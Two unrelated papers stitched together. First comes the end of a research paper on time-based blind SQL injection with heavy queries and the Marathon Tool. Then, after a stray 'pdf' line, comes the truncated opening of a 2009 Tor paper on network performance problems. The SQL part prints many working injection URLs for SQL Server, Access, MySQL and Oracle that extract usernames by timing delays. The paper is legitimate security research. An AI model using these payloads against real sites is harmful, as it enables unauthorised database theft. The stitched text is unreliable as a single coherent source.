time-delays. The main idea is that when the third condition in the query is FALSE, the database engine stops processing the second condition because with one FALSE value in a query with “and” operators, the result will be FALSE. Therefore, the database engine does not have to process the heavy query (second condition). So, if we want to know the exact value of the username stored, we have to move the index and measure the response time with following queries: http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 300>(select top 1 ascii(substring(name,1,1)) from sysusers) 14 s TRUE http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 0>(select top 1 ascii(substring(name,1,1)) from sysusers) 1 s FALSE http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 150>(select top 1 ascii(substring(name,1,1)) from sysusers) 14 s TRUE http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 75>(select top 1 ascii(substring(name,1,1)) from sysusers) 1 s FALSE http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 100>(select top 1 ascii(substring(name,1,1)) from sysusers) 1 s FALSE http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 110>(select top 1 ascii(substring(name,1,1)) from sysusers) 1 s FALSE http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, Time-Based Blind SQL Injection using heavy queries & Marathon Tool Page 6 of 12 sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 120>(select top 1 ascii(substring(name,1,1)) from sysusers) 14 s TRUE http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 115>(select top 1 ascii(substring(name,1,1)) from sysusers) 1 s FALSE http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 118>(select top 1 ascii(substring(name,1,1)) from sysusers) 1 s FALSE http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 119>(select top 1 ascii(substring(name,1,1)) from sysusers) 1 s FALSE Then the result is ASCII(119)=’w’, and then we start with the second character: http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 150>(select top 1 ascii(substring(name,1,1)) from sysusers) ¿? This example is running with Microsoft SQL Server 2000 but it runs in the similar way in Microsoft SQL Server 2005. 2.2 Microsoft Access 2000 Microsoft Access 2000 databases contain a little set of tables for storing information about the objects created in them. One of these tables is MSysAccessObjects and by default all the users connected to the database has granted access to it. This table stores some records so it is perfect for doing a time-based Blind SQL Injection attack. The figures 5 and 6 show how to do it: http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and (SELECT count(*) FROM MSysAccessObjects A 20T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10)>0 and exists (select * from contrasena) This example shows a heavy query for Microsoft Access 2000 databases with a delay of six seconds. An attacker can extract all information using the same method shown in the Microsoft SQL Server example and using this heavy query as a second condition in the “where clause” to delay the response in the positive answers. Figure 5: Positive Result in a Microsoft Access2000 database. The response time is 6 seconds. Time-Based Blind SQL Injection using heavy queries & Marathon Tool Page 7 of 12 Figure 6. egative Result in a Microsoft Access2000 database. The response time is 1 second. 2.3 MySQL 5 MySQL 5.x includes new features from prior versions including a new dictionary in the schema called Information_Schema. In previous versions of MySQL is needed to know or to guess a table with some records for doing an injection with a heavy query in previous versions. In this example a Time-Based Blind SQL injection with a heavy query attack had been proved using columns table from Information_Schema in a MySQL version 5. The results obtained are shown in figures 7 and 8. http://www.kachakil.com/pista.aspx?id_pista=1 and exists (select * from contrasena) and 100 > (select count(*) from information_schema.columns, information_schema.columns T1, information_schema T2) Figure 7. Positive Result in a MySQL database. The response time is 30 seconds. Figure 8. egative Result in a MySQL database. The response time is 1 second. Time-Based Blind SQL Injection using heavy queries & Marathon Tool Page 8 of 12 2.4 Oracle In this example, with an Oracle Database engine, a heavy query using the view all_users from the sys schema had been done for obtaining a time-delay. This view is granted select to all users with Connect role. In this case, the query extracts information about the first username’s letter of the first record in the table itself. The results are displayed in figures 9 and 10. http://blind.elladodelmal.com/oracle/pista.aspx?id_pista=1 and (select count(*) from all_users t1, all_users t2, all_users t3, all_users t4, all_users t5)>0 and 300>(ascii(SUBSTR((select username from all_users where rownum = 1),1,1)) Figure 9. Positive Answer in an Oracle database. The response time is 40 seconds. Figure 10. egative answer in an Oracle database. The response time is 1 second. 3 . HEAVY QUERIES As these simple examples have shown, an attacker can perform a time-based blind SQL injection exploitation just by using any heavy query. Furthermore, the attacker can use this method with any database engine if they know (or can guess) the name of a table with recorded data. Thus, the perimeter protection countermeasures that normally aim to create an in-depth defense policy, such as disabling the access to stored procedures or benchmark functions, definitely do not protect the system from these attacks. Developing secure code is the key to avoiding these kinds of vulnerabilities. In this paper very big heavy queries have been used just to obtain a very easy measurable time-delay but in a real exploitation of this technique a more adjusted “heavy query” should be used for a more optimized and quicker information extraction. As a better exemplification we develop a tool to extract information from databases using this method and it is explained in following section. Time-Based Blind SQL Injection using heavy queries & Marathon Tool Page 9 of 12 4. MARATHON TOOL Marathon Tool is a POC about using heavy queries to perform a Time-Based Blind SQL Injection attack. This tool is still in progress but is right now in a very good alpha version to extract information from web applications using Microsoft SQL Server, MySQL or Oracle Databases. 4.1. Configuration Section In this section first of all must be configured information about the web application. This information is in the Basic Configuration panel: Figure 11: Marathon Tool Configuration Section. Basic Configuration Panel. - Database Engine: Microsoft SQL Server, MySQL or Oracle Database Server. When Microsoft SQL Server is selected, Marathon Tool will use, by default, sys.databases or sysusers tables to construct the heavy queries. If Oracle Database is selected then the tables used by default will be user_objects, all_objects or user_tables. If MySQL, then the table configured by default is information_schema.columns. These tables can be changed in the injection options. - Target base URL: Web application to test and connection details. SSL is not supported in this version. - Parameters: Can be GET or POST parameters, and can be injectable parameters or not. The application will try to find out heavy queries for all the injectable ones. - Cookies: A list of variables and values in the cookie can be configured in this section but this version don´t support dynamic values. - Authentication: In this section user credentials can be setup to connect to the web application before start the test. This version supports Basic, Digest and NTLM authentication methods. - Proxy: An http proxy can be setup. - Start Injection with and End Injection with are used to configure a prefix and/or a suffix value in the injection test. Time-Based Blind SQL Injection using heavy queries & Marathon Tool Page 10 of 12 Figure 12: Marathon Tool Configuration Section. Authentication Methods. As it could be seen in Figure 13 there are several parameters that could be tuned to improve the performance of the tool in the injection options panel: Figure 13: Marathon Tool Configuration Section. Basic Configuration Panel. - Min heavy query time: This parameter sets the minimal amount of time between a true answer and a false answer. If the difference between the true response time and false response time is lower than this value Marathon tool will keep on looking for a new heavy query. If the tool is being tested in a local network with a very good connection then this value can be small, either the value should be increased. - Http request timeout: After this time the client shutdown the connection assuming this query as a heavy query. - Request tests count: Once the tool detect a true answer repeats the test to make sure it is due to the heavy query and not to the any other reason. - Pause after heavy query: After every heavy query the tool pauses this time. This is due to the fact that a big amount of big heavy queries at the same time could result in false positives or in a denial of service attack against the web application. - Pause after any query: After every query, no matter if it is a heavy one or not the tool pauses this time. - Minimum joins for queries: This value is the initial number of tables used in query when the tool is looking for a heavy query. - Maximum joins for queries: If the tool hasn´t found a heavy query after construct a query with this number of tables in join clause then the tool stops. Time-Based Blind SQL Injection using heavy queries & Marathon Tool Page 11 of 12 - Enable equal sign in selects: To construct the heavy query, on depends on web application, web firewalls or databases, the tool constructs the heavy queries using relational operators or equals operators. - Heavy queries tables: These are the tables Marathon Tool will use to construct heavy queries. On depend on the database engine selected the tool configures different ones, but can be entered by user. Once the Configuration section is ready and the injection options are configured, Marathon Tool needs to initialize the test. In this initialization test Marathon Tool will look for a valid heavy query in the injectable value to prove the configuration as valid. When it finished the tool can retrieve the schema of the database or the user used in the web application to connect against the database engine. Figure 14: Marathon Tool Configuration Section. Basic Start Injection. 4.2. Database Schema This section shows the information Marathon Tool has collected from the web application using Time-Based Blind SQL Injection with heavy queries. It is not a quick method for extracting information but in some web applications based in database engines without time-delay functions could be the only exploitation method. Figure 15: Marathon Tool Database Schema 4.3. Debug Log Section This panel shows the queries throw against the web application. It has different detail levels to see all the tests, only the positive answers or only the values Marathon Tool is collecting. This log is a good tool to analyze the behaviour of the web application in the test and it is good for tuning purposes. Time-Based Blind SQL Injection using heavy queries & Marathon Tool Page 12 of 12 Figure 16: Marathon Tool Debug Log Section References [1] “(More) Advanced SQL Injection”. Chris Anley. NGS Software URL: http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf [2] “Blindfolded SQL Injection”. Authors: Ofer Maor y Amichai Shulman. Imperva URL:http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html [3] “Blind SQL Injection Automation Techniques”. Author: Cameron Hotchkies. BlackHat Conferences. URL:https://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf [4] “Absinthe”. Author: Cameron Hotchkies. 0x90.URL: http://www.0x90.org/releases/absinthe/download.php [5] “Data Mining with SQL Injection and Inference”. Author: David Litchfield. NGS Software. URL: http://www.ngssoftware.com/research/papers/sqlinference.pdf ] [6] “SQL Injection Cheat Sheet”. Author: Ronald van den Heetkamp. 0x000000. URL: http://www.0x000000.com/?i=14&bin=1110 [7] “Solar Empire’s Exploit”. Author: Blackhawk. Milw0rm. URL: http://www.milw0rm.com/exploits/4078 [8] “…a SQL Server Injection & takeover tool… ”. Author: icesurfer. SQLNinja. URL: http://sqlninja.sourceforge.net [9] “SQL PowerInjector”. Author: Francois Larouche. SQL PowerInjector. URL: http://www.sqlpowerinjector.com Authors Chema Alonso Chema Alonso is a Computer Engineer by the Rey Juan Carlos University and System Engineer by the Politécnica University of Madrid. He has been working as security consultant last six years and had been awarded as Microsoft Most Valuable Professional from 2005 to present time. He is a Microsoft frequent speaker in Security Conferences. He writes monthly in several Spanish Technical Magazines as “Windows TI Magazine”, “PC Actual” or “Hackin9”. He is currently working on his PhD thesis under the direction of Dr. Antonio Guzmán and Dr. Marta Beltran. chema@informatica64.com Daniel Kachakil received the degree in Systems Engineer and the Master degree on Software Engineering by the University Politécnica of Valencia. dani@kachakil.com Rodolfo Bordón received the degree in Software Specialist Technician and works as System Security Consultant. rodol@informatica64.com Antonio Guzmán received the degree in Physics Science in 1999 and Ph.D. degree in Computer Science in 2006 from Rey Juan Carlos University of Madrid, Spain. Since 2000, he has been an Assistant Professor with the Department of Computer Architecture and Technology, Rey Juan Carlos University. Antonio.guzman@urjc.es Marta Beltrán received the Laurea com Laude degree in electronic engineering in 2000, from Complutense University of Madrid, Spain and the degree in Physics Science in 2002, from UNED, Spain. She Received the Ph.D. degree in Computer Science in 2005 form Rey Juan Carlos University of Madrid, Spain. Since 2000 to 2006 she works as assistant professor in Rey Juan Carlos University. Since 2006 she is Titular Professor in the same university. Marta.beltran@urjc.es
pdf
Performance Improvements on Tor or, Why Tor is slow and what we’re going to do about it Roger Dingledine Steven J. Murdoch March 11, 2009 As Tor’s user base has grown, the performance of the Tor network has suffered. This document describes our current understanding of why Tor is slow, and lays out our options for fixing it. Over the past few years, our funding (and thus our development effort) has focused on usability and blocking-resistance. We’ve come up with a portable self-contained Windows bundle; deployed tools to handle the upcoming censorship arms race; further developed supporting applications like Vidalia, Torbutton, and Thandy; made it easier for users to be relays by adding better rate limiting and an easy graphical interface with uPnP support; developed an effective translation and localization team and infrastructure; and spread understanding of Tor in a safe word-of-mouth way that stayed mostly under the radar of censors. In parallel to adding these features, we’ve also been laying the groundwork for performance improve- ments. We’ve been working with academics to write research papers on improving Tor’s speed, funding some academic groups directly to come up with prototypes, and thinking hard about how to safely collect metrics about network performance. But it’s becoming increasingly clear that we’re not going to produce the perfect answers just by thinking hard. We need to roll out some attempts at solutions, and use the experience to get better intuition about how to really solve the problems. We’ve identified six main reasons why the Tor network is slow. Problem #1 is that Tor’s congestion control does not work well. We need to come up with ways to let “quiet” streams like web browsing co-exist better with “loud” streams like bulk transfer. Problem #2 is that some Tor users simply put too much traffic onto the network relative to the amount they contribute, so we need to work on ways to limit the effects of those users and/or provide priority to the other users. Problem #3 is that the Tor network simply doesn’t have enough capacity to handle all the users that want privacy on the Internet. We need to develop strategies for increasing the overall community of relays, and consider introducing incentives to make the network more self-sustaining. Problem #4 is that Tor’s current path selection algorithms don’t actually distribute load correctly over the network, meaning some relays are overloaded and some are underloaded. We need to develop ways to more accurately estimate the properties of each relay, and also ways for clients to select paths more fairly. Problem #5 is that Tor clients aren’t as good as they should be at handling high or variable latency and connection failures. We need better heuristics for clients to automatically shift away from bad circuits, and other tricks for them to dynamically adapt their behavior. Problem #6 is that low-bandwidth users spend too much of their network overhead downloading directory information. We’ve made a serious dent in this problem already, but more work remains here too. We discuss each reason more in its own section below. For each section, we explain our current intuition for how to address the problem, how effective we think each fix would be, how much effort and risk is involved, and the recommended next steps, all with an eye to what can be accomplished in 2009. While all six categories need to be resolved in order to make the Tor network fast enough to handle everyone who wants to use it, we’ve ordered the sections by precedence. That is, solving the earlier sections will be necessary before we can see benefits from solving the later sections. 1 Performance Improvements on Tor Contents 1 Tor’s congestion control does not work well 3 1.1 TCP backoff slows down every circuit at once . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 1.2 We chose Tor’s congestion control window sizes wrong . . . . . . . . . . . . . . . . . . . . . . 4 2 Some users add way too much load 4 2.1 Squeeze over-active circuits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 2.2 Throttle certain protocols at exits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 2.3 Throttle certain protocols at the client side . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 2.4 Throttle all streams at the client side . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 2.5 Default exit policy of 80,443 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 2.6 Better user education . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 3 The Tor network doesn’t have enough capacity 7 3.1 Tor server advocacy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 3.1.1 Talks and trainings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 3.1.2 Better support for relay operators . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 3.1.3 A Facebook app to show off your relay . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 3.1.4 Look for new ways to get people to run relays . . . . . . . . . . . . . . . . . . . . . . . 8 3.2 Funding more relays directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 3.3 Handling fast Tor relays on Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 3.4 Relay scanning to find overloaded relays or broken exits . . . . . . . . . . . . . . . . . . . . . 9 3.5 Getting dynamic-IP relays back into the relay list quickly . . . . . . . . . . . . . . . . . . . . 10 3.6 Incentives to relay . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3.7 Reachable clients become relays automatically . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 4 Tor clients choose paths imperfectly 11 4.1 We don’t balance traffic over our bandwidth numbers correctly . . . . . . . . . . . . . . . . . 11 4.2 The bandwidth estimates we have aren’t very accurate . . . . . . . . . . . . . . . . . . . . . . 12 4.3 Bandwidth might not even be the right metric to weight by . . . . . . . . . . . . . . . . . . . 16 4.4 Considering exit policy in relay selection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 4.5 Older entry guards are overloaded . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 5 Clients need to handle variable latency and failures better 19 5.1 Our round-robin and rate limiting is too granular . . . . . . . . . . . . . . . . . . . . . . . . . 19 5.2 Better timeouts for giving up on circuits and trying a new one . . . . . . . . . . . . . . . . . 21 5.3 If extending a circuit fails, try extending a few other places before abandoning the circuit. . . 21 5.4 Bundle the first data cell with the begin cell . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 6 The network overhead may still be high for modem users 22 6.1 We’ve made progress already at directory overhead . . . . . . . . . . . . . . . . . . . . . . . . 22 6.2 Our TLS overhead can also be improved . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 7 Last thoughts 23 7.1 Lessons from economics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23 7.2 The plan moving forward . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25 2 Performance Improvements on Tor 1 Tor’s congestion control does not work well One of Tor’s critical performance problems is in how it combines high-volume streams with low-volume streams. We need to come up with ways to let the “quiet” streams (like web browsing) co-exist better with the “loud” streams (like bulk transfer). 1.1 TCP backoff slows down every circuit at once Tor combines all the circuits going between two Tor relays into a single TCP connection. This approach is a smart idea in terms of anonymity, since putting all circuits on the same connection prevents an observer from learning which packets correspond to which circuit. But over the past year, research has shown that it’s a bad idea in terms of performance, since TCP’s backoff mechanism only has one option when that connection is sending too many bytes: slow it down, and thus slow down all the circuits going across it. We could fix this problem by switching to a design with one circuit per TCP connection. But that means that a relay with 1000 connections and 1000 circuits per connection would need a million sockets open. That number is a problem for even the well-designed operating systems and routers out there. More generally, Tor currently uses two levels of congestion avoidance – TCP flow control per-link, and a simple windowing scheme per-circuit. It has been suggested that this approach is causing performance problems, because the two schemes interact badly. Experiments show that moving congestion management to be fully end-to-end offers a significant im- provement in performance. There have been two proposals to resolve this problem, but their underlying principle is the same: use an unreliable protocol for links between Tor relays, and perform error recovery and congestion management between the client and exit relay. Tor partially funded Joel Reardon’s thesis [13] under Ian Goldberg. His thesis proposed using DTLS [14] (a UDP variant of TLS) as the link protocol and a cut-down version of TCP to give reliability and congestion avoidance, but largely using the existing Tor cell protocol. Csaba Kiraly et al. [3] proposed using IPSec [1] to replace the entire Tor cell and link protocol. Each approach has its own strengths and weaknesses. DTLS is relatively immature, and Reardon noted deficiencies in the OpenSSL implementation of the protocol. However, the largest missing piece from this proposal is a high-quality, privacy preserving TCP stack, under a compatible license. Prior work has shown that there is a substantial privacy leak from TCP stack and clockskew fingerprinting [4, 8]. Therefore to adopt this proposal, Tor would need to incorporate a TCP stack, modified to operate in user-mode and to not leak identity information. Reardon built a prototype around the TCP-Daytona stack [12], developed at IBM Labs, and based on the Linux kernel TCP stack. This implementation is not publicly available and its license is unclear, so it is unlikely to be suitable for use in Tor. Writing a TCP stack from scratch is a substantial undertaking, and therefore other attempts have been to move different operating system stacks into user-space. While there have been some prototypes, the maturity of these systems have yet to be shown. Kiraly et al. rely on the operating system IPsec stack, and a modification to the IKE key exchange protocol to support onion routing. As with the proposal from Reardon, there is a risk of operating system and machine fingerprinting from exposing the client TCP stack to the exit relay. This could be resolved in a similar way, by implementing a user-mode IPsec stack, but this would be a substantial effort, and would lose some of the advantages of making use of existing building blocks. Prof. Goldberg has a new student named Chris Alexander picking up where Joel left off. He’s currently working on fixing bugs in OpenSSL’s implementation of DTLS along with other core libraries that we’d need to use if we go this direction. Impact: High. Effort: High effort to get all the pieces in place. Risk: High risk that it would need further work to get right. 3 Performance Improvements on Tor Plan: We should keep working with them (and help fund Chris) to get this project closer to something we can deploy. The next step on our side is to deploy a separate testing Tor network that uses datagram protocols, based on patches from Joel and others, and get more intuition from that. We could optimistically have this testbed network deployed in late 2009. 1.2 We chose Tor’s congestion control window sizes wrong Tor maintains a per-circuit maximum of unacknowledged cells (CIRCWINDOW). If this value is exceeded, it is assumed that the circuit has become congested, and so the originator stops sending. Kiraly proposed [2, 3] that reducing this window size would substantially decrease latency (although not to the same extent as moving to an unreliable link protocol), while not affecting throughput. Specifically, right now the circuit window size is 512KB and the per-stream window size is 256KB. These numbers mean that a user downloading a large file receives it (in the ideal case) in chunks of 256KB, sending back acknowledgements for each chunk. In practice, though, the network has too many of these chunks moving around at once, so they spend most of their time waiting in buffers at relays. Reducing the size of these chunks has several effects. First, we reduce memory usage at the relays, because there are fewer chunks waiting and because they’re smaller. Second, because there are fewer bytes vying to get onto the network at each hop, users should see lower latency. More investigation is needed on precisely what should be the new value for the circuit window, and whether it should vary. Out of 100KB, 512KB (current value in Tor) and 2560KB, they found the optimum was 100KB for all levels of packet loss. However this was only evaluated for a fixed network latency and relay bandwidth, where all users had the same CIRCWINDOW value. Therefore, a different optimum may exist for networks with different characteristics, and during the transition of the network to the new value. Impact: Medium. It seems pretty clear that in the steady-state this patch is a good idea; but it’s still up in the air whether the transition period will show immediate improvement or if there will be a period where traffic from people who upgrade get clobbered by traffic from people who haven’t upgraded yet. Effort: Low effort to deploy – it’s a several line patch! Risk: Medium risk that we haven’t thought things through well enough and we’d need to back it out or change parts of it. Plan: Once we start on Tor 0.2.2.x (in the next few months), we should put the patch in and see how it fares. We should go for maximum effect, and choose the lowest possible window setting of 100 cells (50KB). 2 Some users add way too much load Section 1 described mechanisms to let low-volume streams have a chance at competing with high-volume streams. Without those mechanisms, normal web browsing users will always get squeezed out by people pulling down larger content and tolerating high latency. But the next problem is that some users simply add more load than the network can handle. Just making sure that all the load gets handled fairly isn’t enough if there’s too much load in the first place. When we originally designed Tor, we aimed for high throughput. We figured that providing high through- put would mean we get good latency properties for free. However, now that it’s clear we have several user profiles trying to use the Tor network at once, we need to consider changing some of those design choices. Some of those changes would aim for better latency and worse throughput. 2.1 Squeeze over-active circuits The Tor 0.2.0.30 release included this change: - Change the way that Tor buffers data that it is waiting to write. Instead of queueing data cells in an enormous ring buffer for each 4 Performance Improvements on Tor client->relay or relay->relay connection, we now queue cells on a separate queue for each circuit. This lets us use less slack memory, and will eventually let us be smarter about prioritizing different kinds of traffic. Currently when we’re picking cells to write onto the network, we choose round-robin from each circuit that wants to write. We could instead remember which circuits have written many cells recently, and give priority to the ones that haven’t. Technically speaking, we’re reinventing more of TCP here, and we’d be better served by a general switch to DTLS+UDP. But there are two reasons to still consider this separate approach. The first is rapid deployment. We could get this change into the Tor 0.2.2.x development release in mid 2009, and as relays upgrade, the change would gradually phase in. This timeframe is way earlier than the practical timeframe for switching to DTLS+UDP. The second reason is the flexibility this approach provides. We could give priorities based on recent activity (“if you’ve sent much more than the average in the past 10 seconds, then you get slowed down”), or we could base it on the total number of bytes sent on the circuit so far, or some combination. Even once we switch to DTLS+UDP, we may still want to be able to enforce some per-circuit quality-of-service properties. This meddling is tricky though: we could encounter feedback effects if we don’t perfectly anticipate the results of our changes. For example, we might end up squeezing certain classes of circuits too far, causing those clients to build too many new circuits in response. Or we might simply squeeze all circuits too much, ruining the network for everybody. Also, Bittorrent is designed to resist attacks like this – it periodically drops its lowest-performing connec- tion and replaces it with a new one. So we would want to make sure we’re not going to accidentally increase the number of circuit creation requests and thus just shift the load problem. Impact: High, if we get it right. Effort: Medium effort to deploy – we need to go look at the code to figure out where to change, how to efficiently keep stats on which circuits are active, etc. Risk: High risk that we’d get it wrong the first few times. Also, it will be hard to measure whether we’ve gotten it right or wrong. Plan: Step one is to evaluate the complexity of changing the current code. We should do that for Tor 0.2.2.x in mid 2009. Then we should write some proposals for various meddling we could do, and try to find the right balance between simplicity (easy to code, easy to analyze) and projected effect. 2.2 Throttle certain protocols at exits If we’re right that Bittorrent traffic is a main reason for Tor’s load, we could bundle a protocol analyzer with the exit relays. When they detect that a given outgoing stream is a protocol associated with bulk transfer, they could set a low rate limit on that stream. (Tor already supports per-stream rate limiting, though we’ve never found a need for it.) This is a slippery slope in many respects though. First is the wiretapping question: is an application that automatically looks at traffic content wiretapping? It depends which lawyer you ask. Second is the network neutrality question: remember Comcast’s famous “we’re just delaying the traffic” quote. Third is the liability concern: once we add this feature in, what other requests are we going to get for throttling or blocking certain content? And does the capability to throttle certain content change the liability situation for the relay operator? Impact: Medium-high. Effort: Medium effort to deploy: need to find the right protocol recognition tools and sort out how to bundle them. Risk: This isn’t really an arms race we want to play. The “encrypted bittorrent” community already has a leg up since they’ve been fighting this battle with the telco’s already. Plus the other downsides. 5 Performance Improvements on Tor Plan: Not a good move. 2.3 Throttle certain protocols at the client side While throttling certain protocols at the exit side introduces wiretapping and liability problems, detecting them at the client side is more straightforward. We could teach Tor clients to detect protocols as they come in on the socks port, and automatically treat them differently – and even pop up an explanation box if we like. This approach opens a new can of worms though: clients could disable the “feature” and resume over- loading the network. Impact: Medium-high. Effort: Medium effort to deploy: need to find the right protocol recognition tools and sort out how to bundle them. Risk: This isn’t really an arms race we want to play either. Users who want to file-share over Tor will find a way. Encouraging people to fork a new “fast” version of Tor is not a good way to keep all sides happy. Plan: Not a good move. 2.4 Throttle all streams at the client side While we shouldn’t try to identify particular protocols as evil, we could set stricter rate limiting on client streams by default. If we set a low steady-state rate with a high bucket size (e.g. allow spikes up to 250KB but enforce a long-term rate for all streams of 5KB/s), we would probably provide similar performance to what clients get now, and it’s possible we could alleviate quite a bit of the congestion and then get even better and more consistent performance. Plus, we could make the defaults higher if you sign up as a relay and pass your reachability test. The first problem is: how should we choose the numbers? So far we have avoided picking absolute speed numbers for this sort of situation, because we won’t be able to predict a number now which will still be the correct number in the future. The second problem is the same as in the previous subsection – users could modify their clients to disable these checks. So we would want to do this step only if we also put in throttling at the exits or intermediate relays, a la Section 2.1. And if that throttling works, changing clients (and hoping they don’t revert the changes) may be unnecessary. Impact: Low at first, but medium-high later. Effort: Low effort to deploy. Risk: If we pick high numbers, we’ll never see much of an impact. If we pick low numbers, we could accidentally choke users too much. Plan: It’s not crazy, but may be redundant. We should consider in Tor 0.2.2.x whether to do it, in conjunction with throttling at other points in the circuit. 2.5 Default exit policy of 80,443 We hear periodically from relay operators who had problems with DMCA takedown attempts, switched to an exit policy of “permit only ports 80 and 443”, and no longer hear DMCA complaints. Does that mean that most file-sharing attempts go over some other port? If only a few exit relays permitted ports other than 80 and 443, we would effectively squeeze the high-volume flows onto those few exit relays, reducing the total amount of load on the network. First, there’s a clear downside: we lose out on other protocols. Part of the point of Tor is to be application- neutral. Also, it’s not clear that it would work long-term, since corporate firewalls are continuing to push more and more of the Internet onto port 80. 6 Performance Improvements on Tor To be clearer, we have more options here than the two extremes. We could switch the default exit policy from allow-all-but-these-20-ports to accept-only-these-20-ports. We could even get more complex, for example by applying per-stream rate limiting at the exit relays to streams destined for certain ports. Impact: Low? Medium? High? Effort: Low effort to deploy. Risk: The Tor network becomes less useful, roughly in proportion to the amount of speedup we get. Plan: I think we should take some of these steps in the Tor 0.2.2.x timeframe. The big challenge here is that we don’t have much intuition about how effective the changes should be, so we don’t know how far to go. 2.6 Better user education We still run across users who think any anonymity system out there must have been designed with file- sharing in mind. If we make it clearer in the FAQ and our webpage that Tor isn’t for high-volume streams, that might combine well with the other approaches above. Overall, the challenge of users who want to overload the system will continue. Tor is not the only system that faces this challenge. 3 The Tor network doesn’t have enough capacity Section 1 aims to let web browsing connections work better in the face of high-volume streams, and Section 2 aims to reduce the overall load on the network. The third reason why Tor is slow is that we simply don’t have enough capacity in the network to handle all the users who want to use Tor. Why do we call this the third problem rather than the number one problem? Just adding more capacity to the network isn’t going to solve the performance problem. If we add more capacity without solving the issues with high-volume streams, then those high-volume streams will expand to use up whatever new capacity we add. Economics tells us to expect that improving performance in the Tor network (i.e. increasing supply) means that more users will arrive to fill the void. So in either case we shouldn’t be under the illusion that Tor will magically just become faster once we implement these improvements. We place the first two sections higher in priority because their goals are to limit the ability of the high-volume users to become even higher-volume users, thus allowing the new capacity to be more useful to the other users. We discuss the supply-vs-demand question more in Section 7.1. 3.1 Tor server advocacy Encouraging more volunteers to run Tor servers, and existing volunteers to keep their servers running, will increase network capacity and hence performance. Impact: High, assuming we work on the plans from Section 1 and Section 2 also. Effort: Medium to high, depending on how much we put in. Risk: Low. Plan: A clear win. We should do as many advocacy aspects as we can fit in. 3.1.1 Talks and trainings One of the best ways we’ve found for getting new relays is to go to conferences and talk to people in person. There are many thousands of people out there with spare fast network connections and a willingness to help save the world. Our experience is that visiting them in person produces much better results, long-term, than Slashdot articles. 7 Performance Improvements on Tor Roger and Jake have been working on this angle, and Jake will be ramping up even more on it in 2009. Advocacy and education is especially important in the context of new and quickly-changing government policies. In particular, the data retention question in Germany is causing instability in the overall set of 